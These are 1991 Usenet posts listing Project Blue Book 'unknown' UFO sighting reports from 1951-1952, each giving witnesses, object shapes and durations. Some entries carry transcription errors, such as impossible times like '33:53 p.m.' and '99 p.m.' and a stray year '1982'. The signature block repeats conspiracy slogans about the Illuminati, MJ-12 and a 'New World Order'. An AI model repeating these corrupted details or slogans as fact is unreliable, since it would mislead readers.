burst and became blue-white. No further + information in files. + + Mar. 13, 1951; McClellan AFB, California. 3:20 p.m. Witnesses: + USAF lst Lt. B.J. Hastie, Mrs. Rafferty. A cylinder with twin + tails, 200' long and 90' wide, turned north and flew at + incredible speed. Two minutes. + + Mar. 15, 1951; New Delhi, India. 10:20 a.m. Witnesses: 25 + members of a flying club, including the chief aerial engineer and + his two assistants. One metallic cigar-shaped object with white + exhaust which turned black when it accelerated to an estimated + 1,000 m.p.h. and made a large loop. Seven minutes. + + June 1, 1951; Niagara Falls, New York. 4:20 a.m. Witnesses: + M/Sgt H.E. Sweeney, 2 enlisted men. One glowing yellow-orange, + saucer-shaped object with arc-shaped wings, flew straight up. + Seen for 30-40 seconds. + + July 24, 1951; Portsmouth, New Hampshire. 7:10 Witnesses: + Hanscom AFB Operations Officer Capt. Cobb, Cpl. Fein. One + 100-200' tubular object, 5 times long as it was wide, with fins + at one end, and colored greyish with many black spots. Flew + 800-1,000 m.p.h. at 1-2,000' altitude, leaving a faint swath. 20 + seconds. + + Aug. 25, 1951; Albuquerque, New Mexico. 9:58 p.m. Witnesses: + Sandia Base Security Guard Hugh Young and wife. A flying wing- + shaped craft passed over their heads at an estimated 800-1,000' + altitude with no sound. Size estimated at 1.5 times wingspan of + B-36 bomber,or 350'. Dark, chordwise stripes on underside, and + 6-8 pairs of soft, glowing lights on trailing edge of "wing". + Speed estimated at 300-400 m.p.h., object seen for about 30 + seconds. + + Aug. 31, ; Matador, Texas. 12:45 p.m. Witnesses: Mrs. Tom + Tilson, one or two other women, all apparently of excellent + reputations. One pear-shaped object with a length of a B-29 + fuselage (100'), aluminum or silver with a port or some type of + aperture on the side. It moved with smaller end forward, + drifting slowly at about 150' altitude, then headed up in a + circular fashion and out of sight after a few seconds. + + Sept. 6, 1951; Claremont, California. 7:20 p.m. (not really + clear). Witnesses: S/Sgt W.T. Smith, M/Sgt L.L. Duel (?). Six + orange lights in an irregular formation, flew straight and level + into a coastal fog bank after 3-4 minutes. + + Sept. 14, 1951; Goose Bay, Labrador, Canada. 9:30 p.m. + Witnesses: T/Sgt W.B. Maupin, Cpl. J.W. Green. Three objects + tracked on radar. Two were on a collision course, then one + evaded to the right upon the request, by radio, of one of the + radar operators! No aircraft were known to be in the area. A + third unidentified track then joined the first two. More than 15 + minutes. + + Oct. 2, 1951; Columbus, Ohio. 6 p.m. Witness: Battelle + Memorial Institute graduate physicist Howard Cross. One bright + oval with a clipped tail flew straight and level, fading into the + distance after 1 minute. + + Oct. 3, 1951; Kadena, Okinawa. 10:27 p.m. Witnesses: radar + operators Sgt. M.W. Watson and Pvt. Gonzales and one other + Sergeant. One large, sausage-shaped blip tracked at an estimated + 4,800 m.p.h. + + Oct. 9, 1951; Terre Haute, Indiana. 1:42 p.m. Witness: CAA + Chief Aircraft Communicator Roy Messmore at Hulman Municipal + Airport. One round silver object flew directly overhead, + reaching the horizon in 15 seconds. Note: a very similar + incident happened 3 minutes later near Paris, Illinois (15 miles + NW) and was also listed as "unidentified" for several years, but + was eventually reclassified. + + Oct. 11, 1951; Minneapolis, Minnesota. 6:30 a.m. Witnesses: + General Mills balloon researchers, including aeronautical + engineer J.J. Kaliszewski, aerologist C.B. Moore, pilot Dick + Reilly in the air, and Doug Smith on the ground. The flight crew + saw the first object, a brightly glowing one with a dark + underside and a halo around it. The object arrived high and + fast, then slowed and made slow climbing circles for about two + minutes, and finally sped away to the east. Soon they saw + another one, confirmed by ground observers using a theodolite, + which sped across the sky. Total time first object was seen was + 5 minutes, second was a few seconds. + + Nov. 18, 1951; Washington, D.C. 3:20 a.m. Witnesses: Crew of + Capital Airlines DC-4 Fliqht 610, Andrews AFB Senior air traffic + controller Tom Selby. One object with several lights, followed + the DC-4 for about 20 minutes and then turned back. + + Nov. 24, 1951; Mankato, Minnesota. 33:53 p.m. Witnesses: USAF + or ANG pilots W.H. Fairbrother and D.E. Stewart in P-51 Mustangs. + One milky white object shaped like Northrop flying wing (broad, + slightly swept-back wing with no fuselage or tail). Estimated 8' + span. Flew straight and level for 5 seconds. + + Dec. 7, 1951; Sunbury, Ohio. 4:30 p.m. Witness: amateur + astronomer Carl Loar. One silvery sphere seen through telescope. + Two specks sighted at sides, object seemed to explode and was + replaced by a dark cloud and many specks. 30 minutes. + + Dec. 7, 1951; Oak Ridge, Tennessee. 8:15 a.m. Witness: Atomic + Energy Commission guard J.H. Collins. One 20' square object, + white-grey but not shiny flew above ridge to clouds and back + again twice, taking 30-40 seconds each time. + + Feb. 11, 1952; Pittsburgh, Pennsylvania. 3 a.m. Witnesses: + Capt. G.P. Arns and Maj. R.J. Gedson flying a Beech AT-ll + trainer. One yellow-orange comet-shaped object pulsed flame for + 1-2 seconds of a 1 minute straight and level flight. + + Feb. 23, 1952; over North Korea. 11:15 p.m. Witness: + Captain/B-29 navigator. One bluish cylinder, three times long as + wide, with a tail and rapid pulsations, came in high and fast, + made several turns and levelled out under B-29 which was evading + mild antiaircraft fire. 45 second sighting. + + March 20, 1952; Centreville, Maryland. 10:42 p.m. Witnesses: + WWl/WW2 veteran A.D. Hutchinson and son. One dull orange-yellow + saucer-shaped light flew straight and level very fast for 30 + seconds. + + March 23, 1952; Yakima, Washington. 6:56 and 7 p.m. + Witnesses: pilot and radar operator of F-94 jet interceptor. On + either occasion, a red fireball increased in brightness and then + faded over 45 second span. Stationary both times. Note: + +--------Cont in Bluebook Part 2--------------------------------------- + + +-- +-* Don Allen *- InterNet: dona@bilver.UUCP // Amiga..for the best of us. +USnail: 1818G Landing Dr, Sanford Fl 32771 \X/ Why use anything else? :-) +UUCP: ..uunet!tarpit!bilver!vicstoy!dona 0110 0110 0110 Just say NO! +Illuminati < MJ-12|Greys|TLC|CFR|FED|Bilderbergs > UN = "New World Order" +Path: uuwest!spies!apple!sun-barr!cs.utexas.edu!usc!rpi!crdgw1!ge-dab!tarpit!bilver!dona +From: dona@bilver.uucp (Don Allen) +Newsgroups: alt.alien.visitors,alt.conspiracy +Subject: INFO: Project Bluebook -UNKNOWNS- Part 2 +Keywords: Project Bluebook UFO's +Message-ID: <1991Jul4.021624.15658@bilver.uucp> +Date: 4 Jul 91 02:16:24 GMT +Organization: W. J. Vermillion - Winter Park, FL +Lines: 529 + + + +---Bluebook Part2 ------------------------------------------------- + + + Project Blue Book Status Report #7 (May 31, 1952) says target was + also tracked by ground radar at 78 knots (90 m.p.h.) at 22,500' + and 25,000' altitude. + + March 24, 1952; 60 miles west of Pt. Concepcion, California. + 8:45 a.m. Witnesses: B-29 navigator and radar operator. One + target tracked for 20-30 seconds at estimated 3,000 m.p.h. + + March 29, 1952; 20 miles north of Misawa AFB, Japan. 11:20 a.m. + Witness: Brigham, pilot of AT-6 trainer. One small, very thin, + shiny metallic disc flew alongside the AT-6, then made a pass at + an F-84 jet fighter, flipped on edge, fluttered 20' from the + F-84's fuselage and flipped in the slipstream...all in 10 + seconds. + + April 4, 1952; Duncanville, Texas. 7:30 p.m. Witnesses: two + radar operators of the 147th AC&W Squadron. One object was + tracked for one minute by radar at an estimated 2,160 m.p.h. + + April 5, 1952; Phoenix, Arizona. l0:40 a.m. Witnesses: Mr. and + Mrs. L.G. Ryan, R.L. Stokes, D. Schook. One large, dull grey + circular object, followed by two more, flew straight and level at + high speed. + + April 5, 1952; Miami, Florida. 9:15 p.m. Witnesses: L.E. + VanDercar and 9 year old son. Four dark circular objects with + mostly fuzzy edges, crossed face of Moon; each was half the + apparent diameter of Moon. 2:59 p.m. Witness: H.L. Russell. + + April 6, 1952; Temple, Texas. 2:59 p. + 50-75 grey-white discs changed position within formation + continually, tilted in unison every 12-15 seconds during 3.8 + minute sighting. + + April 12, 1952; North Bay, Ontario, Canada. 9:30 p.m. + Witnesses: Royal Canadian Air Force Warrant Officer E.H. + Rossell, Flight Sgt. R. McRae. One round amber object flew fast, + stopped, reversed direction, climbed away at 30' angle during a 2 + minute observation. + + April 14, 1952; LaCrosse, Wisconsin. 12:35 p.m. Witness: + unidentified CAL airline pilot. Several light colored objects + flew in V-formation. No further details in files. + + April 14, 1952; Memphis, Tennessee. 6:34 p.m. Witnesses: U.S. + Navy pilots Lt. jg. Blacky, Lt. jg. O'Neil. One inverted bowl, + 3' long and 1' high, with vertical slots, flew fast, straight and + level, 100 yards from observers' aircraft for 45-60 seconds. + + April 15, 1952; Santa Cruz, California. 7:40 p.m. Witness: Mr. + Hayes, brother of Master Sergeant. Two faint objects observed + flying fast along the horizon for 6-8 seconds, using 20x spotting + telescope. + + April 17, 1952; Longmeadow, Massachusetts. 8:30 p.m. Witnesses: + S.B. Brooks, chemical engineer J.A. Eaton. One round, deep + orange object flew fast and erratic, occasionally emitting a + shaft of light to the rear during a 40 minute sighting. + + April 17, 1952; Yuma, Arizona. 3:05 p.m. Witnesses: group of + Army weather observation students, including several graduate + engineers. One flat-white, circular object flew with an + irregular trajectory and a brief trail, for about 7 seconds. + + April 18, 1952; Yuma, Arizona. Time unknown. Witnesses: two + Army weather observation students. One flat-white circular + object flew for 5-10 seconds in a very erratic manner. + + April 18, 1952; Bethesda, Maryland. l1:30 a.m. Witnesses: R. + Poerstal and three other men. Seven to nine circular, + orange-yellow lights in a 40^ V-formation flew overhead silently + for 4-8 seconds, from south to north. + + April 18, 1952; Corner Brook, Newfoundland, Canada. l0:l0 p.m. + Witness: reporter Chic Shave. One round, yellow-gold object + flew south and returned during 1.5 minute sighting. + + April 18, 1952; 50 miles northwest of Kyushu, Japan (129* 51' E., + 34' 19' N.). Witness: one radar operator. Tracked unidentified + target for 1 minute at 2,700 m.p.h. + + April 18, 1952; Corner Brook, Newfoundland, Canada. 4 a.m. + Witness: janitor C. Hamilton. One yellow-gold object made a + sharp turn and left a short, dark trail during l minute sighting. + + April 22, 1952; Naha AFB, Okinawa. 99 p.m. Witnesses: crew of + B-29 bomber, on ground. One elliptical object, followed by two + and then another two, each with a white light that blinked every + 1-2 seconds as they performed erratic maneuvers for 10 minutes. + + April 24, 1952; Bellevue Hill, Vermont. 5 a.m. Witnesses: crew + of USAF C-124 transport plane. Three circular, bluish objects in + loose "fingertip" formation twice flew parallel to airplane + during 3-4 minute period. + + April 24, 1952; Milton, Massachusetts. 2:30 p.m. Witnesses: + three Cambridge Research Center electronics engineers, one named + Buruish. Two flat, red squares flew wobbly in level flight, + climbed, levelled out during 1.5 minute observation. + + April 24, 1952; Clovis, New Mexico. 8:10 p.m. Witness: USAF + light Surgeon Maj. E.L. Ellis. Many orange-amber lights, + sometimes separate, sometimes fused, behaved erratically. Speed + varied from motionless to very fast during 5 minute sighting. + + April 27, 1952; Roseville, Michigan. 4:15 p.m. Witnesses: H.A. + Freytag and three male relatives, including a minister. One + silver oval rolled, descended and stopped. Two silver cigar- + shaped objects appeared, one departing to the east and one to the + west. A third silver cigar-shaped object flew by at high speed. + Sightings lasted 45 minutes. + + April 27, 1952; Yuma, Arizona. 8:30 p.m. Witnesses: M/Sgt. and + Mrs. G.S. Porter (he was off-duty control tower operator). + Bright red or flame-colored discs, appearing as large as fighter + planes. Seven sightings of one disc, one of two in formation + during 2 hours. All seen below 11,000' overcast. + + April 29, 1952; Marshall, Texas. 3:30 p.m. Witness: private + pilot R.R. Weidman. One round, white object which flew straight, + with a side-to-side oscillation for 1.5 minutes. + + April 29, 1952; Goodland, Kansas. 100 p.m. Witness: B-29 + bombardier Lt. R.H. Bauer. One white fan-shaped light pulsed 3-4 + times per second for 2 seconds. + + May 1, 1952; Moses Lake, Washington. 5:32 a.m. Witnesses: Two + Atomic Energy Commission employees, Eggan and Shipley. One + silver object without wings flew straight and level for 1.5 + minutes. + + May 1, 1952; George AFB, California. 10:50 a.m. Witnesses: + three men on the arms range, plus one Lt. Colonel 4 miles away. + Five flat-white discs about the diameter of a C-47's wingspan + (95') flew fast, made a 90^ turn in a formation of three in front + and two behind, and darted around, for 15-30 seconds. + + May 5, 1952; Tenafly, New Jersey. 10:45 p.m. Witness: Mrs. + M.M. Judson. Six or seven translucent, cream-yellow objects. One + moved in an ellipse, while the others moved in and out. + + May 7, 1952; Keesler AFB, Mississippi. 12:15 p.m. Witnesses: + Capt. Morris, a Master Sergeant, a Staff Sergeant, and an Airman + First Class. Ten times, an aluminum or silver cylindrical object + was seen to dart in and out of the clouds during a 5-10 minute + period. + + May 9, 1952; George AFB, California. 5:20 p.m. Witness: A/lc + G.C. Grindeland. One dull white, arrowhead-shaped object flew + straight and level for 10 seconds. + + May 10, 1952; Ellenton, South Carolina. 10:45 p.m. Witnesses: + 4 duPont employees at the Savannah River nuclear plant. Up to + four yellow, disc-shaped objects were seen on five occasions + between 10:45 and shortly after 11:15. + + May 14, 1952; Mayaquez, Puerto Rico. 7 p.m. Witnesses: + Attorney and ex-USAF pilot Mr. Stipes, Sr. Garcia-Mendez. Two + shining orange spheres: one was stationary, while the other + darted away and back for 30 minutes. + + May 20, 1952; Houston, Texas. l0:l0 p.m. Witnesses: USAF + pilots Capt. J. Spurgin and Capt. BB. Stephan. One bright or + white oval object moved from side-to-side while making a gradual + turn for 90 seconds. + + May 25, 1952; Walnut Lake, Michigan. 9:15 p.m. Witnesses: + seven persons, including John Hoffman, his family and friends. + One large white circular object having dark sections on its rim, + flew straight and level for 30 minutes, appearing red when behind + a cloud. + + May 28, 1952; Saigon, French Indo China. 10:30 a.m. Witnesses: + many in crowd watching a ceremony. One white-silver disc-shaped + object flew straight and fast for 2 minutes. + + May 28, 1952; Albuquerque, New Mexico. 1:45-2:40 p.m. + Witnesses: two city fire department employees. Two circular + objects--one shiny silver and the other orange or light brown-- + were seen three times performing fast maneuvers. + + May 29, 1952; San Antonio, Texas. 7 p.m. Witness: USAF pilot + Maj. D.W. Feuerstein, on ground. One bright tubular object + tilted from horizontal to vertical for 8 minutes, then slowly + returned to horizontal, again tilted vertical, accelerated, + appeared to lengthen and turned red. The entire sighting lasted + 14 minutes. + + June 1, 1952; Rapid City, South Dakota. 6 p.m. Witnesses: + A/lc Beatty and two civilians. At least five long silver objects + flew in a neat box formation with a leader for 15-20 seconds. + + June 1, 1952; Walla , Washington. 1 p.m. Witness: + ex-military pilot Reserve Maj. W.C. Vollendorf. One oval object + with a "definite airfoil" performed a fast climb for 7 seconds. + + June l, 1952; Soap Lake, Washington. 3+ p.m. Witness: Ray + Lottman. Three glimmering objects flew straight and level for 10 + minutes. + + June 2, 1952; Bayview, Washington. 5:02 p.m. Witness: Larry + McWade. One purple object seen for unknown length of time. No + further information in files. + + June 2, 1952; Fulda, West Germany. Time unknown. Witness: lst + Lt. John Hendry, photo-navigator on an RB-26C reconnaissance + bomber. One porcelain-white object flew very fast for an unknown + length of time. + + June 5, 1952; Lubbock, Texas. 11 p.m. Witnesses: Dan Benson, + Mr. Bacon. A total of eight yellow circular objects, like large + stars, were seen during 45 minutes. The first two were in a + trail formation, the others were seen singly. + + June 5, 1952; Albuquerque, New Mexico. 6:45 p.m. Witness: + S/Sgt T.H. Shorey. One shiny round object flew 5-6 times as fast + as an F-86 jet fighter for 6 seconds. + + June 5, 1952; Offutt AFB, Omaha, Nebraska. 11 p.m. Witnesses: + 2nd Lt. W.R. Soper, a Strategic Air Command top secret control + officer and former OSI agent; and two other persons. One bright + red object remained stationary for 4.5 minutes before speeding + away with a short tail. + + June 6, 1952; Kimpo AFB, Korea. Case missing from official + files. + + June 7, 1952; Albuquerque, New Mexico. 11:18 a.m. Witnesses: + crew of B-25 bomber #8840 at 11,500'. One rectangular aluminum + object, about 6'x4', flew 250-300' below the B-25. + + June 8, 1952; Albuquerque, New Mexico. 10:50 a.m. Witnesses: + Mr. and Mrs. J.D. Markland. Four shiny objects flew straight and + level in a diamond formation. + + June 9, 1952; Minneapolis, Minnesota. Case missing from official + files. + + June 12, 1952; Ft. Smith, Arkansas. 7:30 p.m. Witnesses: U.S. + Army Major and Lt. Colonel, using binoculars. One orange ball + with a tail flew with a low angular velocity. + + June 12, 1952; Marakesch, Morocco. 11:26 a.m. Witness: T/Sgt. + H.D. Adams, operating an SCR-584 radar set. One unidentified + blip tracked at 650 kts. (750 m.p.h.) at greater than 60,000' + altitude. + + June 13, 1952; Middletown, Pennsylvania. 8:45 p.m. Witness: + R.S. Thomas, Olmstead AFB employee and former control tower + operator. One round, orange object travelled south, stopped for + 1 second, turned east, stopped 1 second, and went down. + + June 15, 1952; Louisville, Kentucky. 11:50 p.m. Witness: + Edward Duke, ex-U.S. Navy radar technician. One large, cigar- + shaped object with a blunt front, lit sides and a red stern, + maneuvered in a leisurely fashion for 15 minutes. + + June 16, 1952; Walker AFB, New Mexico. 8:30 p.m. Witness: USAF + maintenance specialist S/Sgt. Sparks. Five or six greyish discs, + in a half-moon formation, flew at 500-600 m.p.h. for l minute. + + June 17, 1952; McChord AFB, Washington. Between 7:30 and 10:20 + p.m. Witnesses: many and varied. From one to five large + silver-yellow objects flew erratically, stopped and started for + about 15 minutes. + + June 17, 1952; Cape Cod, Massachusetts. 1:28 a.m. Witness: + pilot of USAF F-94 jet interceptor. A light like a bright star + crossed the nose of the airplane while being observed for 15 + seconds. No further information in the files. + + June 18, 1952; Columbus, Wisconsin. 9 a.m. Witness: R.A. + Finger. One crescent-shaped object hovered for several seconds + and then sped away. + + June 18, 1952; Walnut Lake, Michigan. 10 p.m. Witnesses: + Marron Hoffman and four relatives, using 4x binoculars. One + orange light was observed zigzagging and then hovering for an + unspecified length of time. + + June 19, 1952; Goose Bay, Labrador, Canada. 2:37 a.m. Witness: + 2nd Lt. A'Gostino and unidentified radar operator. One red light + turned white while wobbling. Radar tracked a stationary target + during the 1 minute sighting. + + June 19, 1952; Yuma, Arizona. 2 p.m. Witness: USAF pilot John + Lane. One round, white object flew straight and level for 10 + seconds. + + June 20, 1952; Central Korea. 3:03 p.m. Witnesses: four Marine + Corps Captains and pilots of F4U-4B Corsair fighter planes. One + 10-20' white or silver oval object made a left-hand orbit at + terrific speed for 60 seconds. + + June 21, 1952; Kelly AFB, Texas. 12:30 p.m. Witness: T/Sgt. + Howard Davis, flight engineer of B-29 bomber at 8,000' altitude. + One flat object with a sharply pointed front and rounded rear; + white with a dark blue center and red rim, trailed sparks as it + dove past the B-29 at a distance of 500', in l second. + + June 22, 1952; Pyungthek, Korea. 10:45 p.m. Witnesses: Two + Marine Corps Sergeants. One 4 ft. diameter object dove at a + runway shooting red flames, hovered briefly over a hill, turned + 180 , flashed twice and was gone. + + June 23, 1952; Spokane, Washington. 4:05 p.m. Witness: Airport + weather observer Rex Thompson. One round disc with a metallic + shine flashed, and fluttered like a flipped coin for 5-7 minutes. + + June 23, 1952; McChord AFB, Washington. 9 p.m. Witness: 2nd + Lt. K. Thompson. One very large light flew straight and level + for 10 minutes. No further information. + + June 23, 1952; Kirksville, Missouri. Case missing from official + files. + + June 23, 1952; Oak Ridge, Tennessee. 3:30 a.m. Witness: + secretary Martha Milligan. One bullet-shaped object with + burnt-orange exhaust flew straight and level for 30-60 seconds. + + June 23, 1952; Owensboro, Kentucky. 10:00 a.m. Witness: + National Guard Lt. Col. O. L. Depp. Two objects looking like + "giant soap bubbles", reflecting yellow and lavender colors, flew + in trail for 5 seconds. + + June 23, 1952; Location unknown, but information came via Japan + Hq. "CV 4359". 6:08 a.m. Witness: USAF pilot of the l8th + Fighter-Bomber Group. One black coin-shaped object, 15-20' in + diameter, made an irregular descent. + + June 25, 1952; Chicago, Illinois. 8:30 p.m. Witnesses: Mrs. + Norbury, Mr. Matheis. One bright yellow-white, egg-shaped object + which sometimes had a red tail, made seven circles in 1 1/2 + hours. + + June 25, 1982; Japan-Korea area. Case missing from official + files. + + June 26, 1952; Terre Haute, Indiana. 2:45 a.m. Witness: USAF + 2nd Lt. C. W. Povelites. Undescribed object flew at 600 m.p.h. + and then stopped. No further information in files. + + June 26, 1952; Pottstown, Pennsylvania. 11:50 p.m. Witness: + assistant manager of airport. Three sightings of flashing + lights: two lights separated by 2 miles, with the leader + flashing steadily and the other irregularly; two similarly + flashing lights, but with l mile separation; finally a single + light. Speed estimated at 150-250 m.p.h.. Total of 1/2 hour. + + June 27, 1952; Topeka, Kansas. 6:50 p.m. Witnesses: USAF pilot + 2nd Lt. K. P. Kelly and wife. One pulsating red object which + changed shape from a circular to a vertical oval as it pulsed. + Was stationary for about 5 minutes, then went out. + + June 28, 1952; Lake Kishkanoug, Wisconsin. 6 p.m. Witness: G. + Metcalfe. One silver-white sphere became an ellipse as it turned + and climbed away very fast. 10 seconds. + + June 28, 1952; Nagoya, Japan. 4:10 p.m. Witness: Capt. T. W. + Barger, USAF electronics countermeasures officer. One dark blue + elliptical-shaped object with a pulsing border flew straight and + level at 700-800 m.p.h.. + + June 29, 1952; O'Hare Airport, Chicago, Illinois. 5:45 p.m. + witnesses: three USAF air policemen. One bright silver, flat + oval object surrounded by a blue haze, hovered, then moved very + fast to the right and to the left, and up and down for 45 + minutes. + + July 3, 1952; Selfridge AFB, Michigan. 4:15 a.m. Witnesses not + identified. Two big lights, estimated at 20' diameter, flew + straight and level at tremendous speed. + + July 3, 1952; Chicago, Illinois. 11:50 p.m. Witness: Mrs. J. + D. Arbuckle. Two bright pastel green discs flew straight and + level very fast for 6 seconds. + + July 5, 1952; Norman, Oklahoma. 7:58 p.m. Witness: Oklahoma + State Patrolman Hamilton in State Patrol airplane. Three dark + discs hovered and then flew away, silhouetted against a dark + cloud. 15 seconds. + + July 6-12, 1952; Elizabeth, New Jersey. 11:00 p.m. Witness: + Charles Muhr. Four pictures taken of some indistinct light which + was admittedly not seen visually, but which appeared on the + negatives. + + July 9, 1952; Colorado Springs, Colorado. 12:45 p.m. Witness: + USAF pilot Maj. C. K. Griffin. One object shaped like an airfoil + less its trailing edge, luminous white, moved slowly and + erratically for 12 minutes. + + July 9, 1952; Kutztown, Pennsylvania. 6:30 p.m. Witness: + farmer John Mittl. One aluminum, oval-shaped object changed + direction and attitude, finally tipping on end and departing + after 20 seconds. Case file includes three vague photographs. + + July 9, 1952; Rapid City AFB, South Dakota. 3:35 p.m. + Witnesses: S/Sgt. D.P. Foster and three other persons. Three + times, a single white, disc-shaped object sped by, straight and + level, in 5 seconds. + + July 12, 1952; Annapolis, Maryland. 3:30 p.m. Witness: + insurance company president William Washburn. Four large, + elliptical-shaped objects were seen to fly very fast, stop, turn + 90* and fly away in 7-8 seconds. . + + July 12, 1952; Kirksville, Missouri. 9 p.m. Witnesses: many + radar controllers who were military officers. Several big blips + tracked on radar at 1,500 kts. (1,700 m.p.h.). There was no + visual sighting. + + July 14, 1952; Norfolk, Virginia. 8:12 p.m. Witnesses: Pan + American Airways First Officer William Nash, Second Officer + William Fortenberry. Eight large, round, glowing red objects + maneuvered below their airliner, in formation. + + July 15, 1952; West Palm Beach, Florida. 10:10 p.m. Witnesses: + J. Antoneff and two other persons. One discus-shaped object, + greyish, except when hovering, when it appeared muddy. Hovered + over Palm Beach International Airport, then followed an SA-l6 + twin-engined amphibian and flew away after 40-60 seconds. + + July 16, 1952; Beverly, Massachusetts. 9:35 a.m. Witness: U.S. + Coast Guard photographer Shell Alpert. Four roughly elliptical + blobs of light in formation photographed through window of photo + lab. + + July 17, 1952; White Plains, New York. 3:10 p.m. Witness: Mrs. + Florence Daley. Two round objects, bluish-white with brighter + rims, flew in formation, making a sound like bombers, only + softer. Note: Later, the witness stated she heard many feminine + voices coming from the objects. + + July 17, 1952; Lockbourne, Ohio. 11 a.m. Witness: Air National + Guard employees. One light like a big star was seen for 3 hours, + but disappeared when an aircraft approached. Also seen the + night of July 20, 22 and 23. + + July 18, 1952; Lockbourne, Ohio. 9:10 p.m. Witnesses: T/Sgt. + Mahone, A/3c Jennings. One amber-colored, elliptical-shaped + object with a small flame at the rear, periodically increased in + brightness. It moved very fast for l 1/2 minutes, giving off a + resonant beat sound. + + July 18, 1952; Miami, Florida. 11 a.m. Witnesses: E. R. Raymer + and daughter. One opaque, silvery bubble flew very fast at a + right-angle to the wind direction for 10 seconds. + + July 18, 1952; Patrick AFB, Florida. 9:45 p.m. Witnesses: + three USAF officers and four enlisted men. Over an hour period, + a series of hovering and maneuvering red-orange lights were + observed moving in a variety of directions. + + July 19, 1952; Williston, North Dakota. 2:55 a.m. Witness: one + experienced civilian pilot. One elliptical-shaped object with a + light fringe, travelled down fast, made a 360* and then a 180* + turn in 5 minutes. + + July 19, 1952; Elkins Park, Pennsylvania. 11:35 p.m. Witnesses: + USAF pilot Capt. C.J. powley and wife. Two star-like lights + maneuvered, hovered and sped for 5-7 minutes. + + July 20, 1952; Lavalette, New Jersey. 12:20 a.m. Witness: + Seton Hall Univ. chemistry professor Dr. A.B. Spooner. Two large + orange-yellow lights with some dull red coloring flew in trail, + turned and circled for 5-6 minutes. + + July 21, 1952; Weisbaden, West Germany. 6:30 p.m. Witnesses: + USAF pilot Capt. E.E. Dougher, WAF Lt. J.J. Stong, situated miles + apart. Four bright yellowish lights were seen by Dougher to + separate, with two climbing and two flying away level in the + opposite direction. Stong watched two reddish lights fly in + opposite directions. Sightings lasted about 10-15 minutes. + + July 21, 1952; San Marcos AFB, Texas. 10:40 p.m. Witnesses: + one Lieutenant, two Staff Sergeants, three airmen. One blue + circle with a blue trail was seen to hover and then accelerate to + near-sonic speed (700+ m.p.h.) after 1 minute. + + July 21, 1952; Converse, Texas. 4:30 p.m. Witness: wife of + USAF Capt. J. B. Neal. One elongated, fuselage-shaped object + flew straight and level, made a right-angle turn and went out of + sight at more than 300 m.p.h., all in 3-5 seconds. + + July 21, 1952; Rockville, Indiana. 8:10 p.m. Witnesses: one + military officer, two enlisted men. One aluminum, delta-shaped + object with a vertical fin, flew straight and level, and then + hovered during a 3 minute sighting. + + July 22, 1952; Holyoke, Massachusetts. After midnight. Witness: + Mrs. A. Burgess. One round, yellow, flashing light went + downward. No further information in files. + + July 22, 1952; Los Alamos, New Mexico. 10:50 a.m. Witnesses: + control tower operator Don Weins, and two pilots for Carco. + Eight large, round, bright aluminum objects flew straight and + level, then darted around erratically during 25 minutes. + + July 22, 1952; Uvalde, Texas. 2:46 p.m. Witness: Don Epperly, + Trans Texas Airlines station manager and weather observer. One + large, round, silver object flew at more than 1,000 m.p.h. for 45 + seconds, while gyrating. + + July 22, 1952; between Boston and Provincetown, Massachusetts. + 10:47 p.m. Witnesses: pilot and radar operator of USAF F-94 jet + interceptor. One round blue light passed F-94, spinning. + + July 22, 1952; Trenton, New Jersey. 10:50 p.m. t.o 12:45 a.m., + July 23. Witnesses: crews of several USAF F-94 jet interceptors + from Dover AFB, Del. Thirteen visual sightings and one radar + tracking of blue-white lights during two hours. + + July 23, 1952; Pottstown, Pennsylvania. 8:40 a.m. Witnesses: + the two-man crews of three USAF F-94 jet interceptors. One large + +-------Continued in Bluebook Part 3 ----------------------------------- + + +-- +-* Don Allen *- InterNet: dona@bilver.UUCP // Amiga..for the best of us. +USnail: 1818G Landing Dr, Sanford Fl 32771 \X/ Why use anything else? :-) +UUCP: ..uunet!tarpit!bilver!vicstoy!dona 0110 0110 0110 Just say NO! +Illuminati < MJ-12|Greys|TLC|CFR|FED|Bilderbergs > UN = "New World Order" +Path: uuwest!spies!apple!snorkelwacker.mit.edu!think.com!rpi!crdgw1!ge-dab!tarpit!bilver!dona +From: dona@bilver.uucp (Don Allen) +Newsgroups: alt.alien.visitors,alt.conspiracy +Subject: INFO: Project Bluebook -UNKNOWNS- Part 3 +Keywords: Project Bluebook UFO's +Message-ID: <1991Jul4.021747.15716@bilver.uucp> +Date: 4 Jul 91 02:17:47 GMT +Organization: W. J. Vermillion - Winter Park, FL +Lines: 526 + + + +-------Bluebook Part 3 ----------------------------------------------- + + + silver object, shaped like a long pear with two or three squares + beneath it, flew at 150-180 kts. (170-210 m.p.h.), while a + smaller object, delta-shaped or swept back, flew around it at + 1,000-1,500 kts. (1,150-1,700 m.p.h.). Seen by crews for 1-4 + minutes. + + July 23, 1952; Altoona, Pennsylvania. 12:50 p.m. Witnesses: + two-man crews of two USAF F-94 jet interceptors at 35-46,000' + altitude. Three cylindrical objects in a vertical stack + formation flew at an altitude of 50-80,000'. Seen for 20 + minutes. + + July 23, 1952; South Bend, Indiana. 11:35 p.m. Witness: USAF + pilot Capt. H. W. Kloth. Two bright blue-white objects flew + together, then the rear one veered off after about 9 minutes. + + July 24, 1952; Carson Sink, Nevada. 3:40 p.m. Witnesses: two + USAF Lt. Colonels McGinn and Barton in a B-25 bomber. Three + silver, delta-shaped objects, each with a ridge along the top, + crossed in front of and above the B-25 at high speed, in 3-4 + seconds. + + July 26, 1952; Washington, D.C. 8 p.m. until after midnight. + Witnesses: radar operators at several airports, airline pilots. + Many unidentified blips tracked by radar all over Washington + area, at varying speeds. Pilots spotted unidentified lights. + + July 26, 1952; Kansas City, Missouri. 12:15 a.m. Witnesses: + USAF Capt. H. A. Stone, men in control towers at Fairfax Field + and Municipal Airport. One greenish light with red-orange + flashes was seen for 1 hour as it descended in the northwest from + 40* elevation to 10* elevation. + + July 26, 1952; Andrews AFB, Maryland. This was a continuation of + the extensive sightings and radar tracking reports reported + throughout the Washington, D.C. area, all night long. + + July 26, 1952; Kirtland AFB, New Mexico. 12:05 a.m. Witness: + Airman lst Class J.M. Donaldson. Eight to ten orange balls in a + triangular or V-formation flew very fast for 3-4 seconds. + + July 26, 1952; Williams, California. Case missing from official + files. + + July 27, 1952; Selfridge AFB, Michigan. 10:05 a.m. Witnesses: + three B-29 bomber crewmen on ground. Many round, white objects + flew straight and level, very fast. Two at 10:05, one at 10:10, + one at 10:15, one at 10:20. Each was seen for about 30 seconds. + + July 27, 1952; Wichita Falls, Texas. 8:30 p.m. Witnesses: Mr. + and Mrs. Adrian Ellis. Two disc-shaped objects, illuminated by a + phosphorus light, flew at an estimated l,000 m.p.h. for 15 + seconds. + + July 28, 1952; Heidelberg, West Germany. 10:20 